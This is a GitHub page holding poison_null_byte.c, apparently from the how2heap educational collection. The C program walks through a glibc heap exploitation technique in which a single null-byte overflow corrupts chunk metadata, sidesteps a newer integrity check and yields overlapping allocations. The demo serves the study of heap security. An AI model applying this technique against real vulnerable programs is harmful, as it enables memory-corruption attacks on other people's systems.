forked from shellphish/how2heap
-
Notifications
You must be signed in to change notification settings - Fork 2
/
poison_null_byte.c
91 lines (69 loc) · 3.01 KB
/
poison_null_byte.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 14.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* this technique works by overwriting the size metadata of a free chunk */
free(b);
printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// for this added check we need to have null bytes in b (not just a c string)
*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
b1 = malloc(0x100);
printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %p\n",b2);
memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
"for the clear explanation of this technique.\n");
}